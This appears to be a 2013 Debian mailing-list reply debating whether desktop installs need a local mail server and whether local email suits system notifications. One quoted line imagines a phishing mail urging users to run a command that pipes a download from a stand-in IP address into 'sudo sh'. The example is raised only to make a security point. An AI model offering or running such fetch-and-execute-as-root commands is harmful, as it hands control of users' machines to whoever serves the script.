Re: default MTA
On Wed, May 29, 2013 at 08:14:58AM +0100, Simon McVittie wrote:
> On 28/05/13 16:42, Thomas Goirand wrote:
> > On 05/28/2013 08:05 PM, Simon McVittie wrote:
> >> I'm quite prepared to believe that *our* Unix systems - and in
> >> particular, servers and development machines - need an MTA, but my
> >> parents' laptops really shouldn't need one.
> >
> > Are you saying that they don't know what a mail server is, but they
> > installed Debian on their own, and made the choice of Debian as well on
> > their own?
>
> I didn't say that, but as it happens, yes they've installed Debian on at
> least one laptop. Without my influence it would probably have been
> Ubuntu instead of Debian.
>
> > Your parents don't read mail? That is surprising to me. In this days
> > and age, everyone does.
>
> They read mail received on a remote server (mine, their ISP's, or
> Google's) via IMAP or webmail (or possibly POP3, if I hadn't advised
> them not to use that). It has nothing to do with the local machine's MTA
> (or lack of).
>
> In principle I suppose Icedove could start up with a "local mbox"
> account pre-configured... but is that really where users would/should
> expect to find system notifications?
What's wrong with that?
> I suspect we only use email as a
> system-level notification mechanism because "it's how Unix has always
> worked". How much sense does it really make to have potentially
> security-sensitive messages from the local machine, whose content you
> ought to be able to trust, turn up in the same place as "postcards from
> the Internet"?
Can you please give an example of such a message?
Which local user should not be getting it? Is it the same local user
that the standard desktop setting rely on to upgrade packages?
In which alternative notifications mechanism that message would not
reach that user?
>
> (Writing that makes me wonder about the phishing potential of spoofing
> mails from, say, apticron. "To upgrade these packages, simply type:
> 'curl http://198.51.100.6/dist-upgrade | sudo sh'"?)
They would not land in the local mailbox.
>
> > Can't you configure their system to send *you* the system
> > notifications so that you can fix a problem?
>
> I could, but for machines where it isn't really needed, life's too short
> to set up the necessary TLS/SASL to get root mail off the system
> without leaking its contents (and a SMTP password) to everyone on the
> same coffee shop wifi.
I don't follow that. If you send mail from the system one way or the
other, you send your credentials over the wire. Setting up TLS / SASL is
not complicated in postfix and should not be complicated in a
well-wrriten MTA just as it is not complicated in your desktop mail
client.
So this "SHOULD NOT BE" is a required feature?
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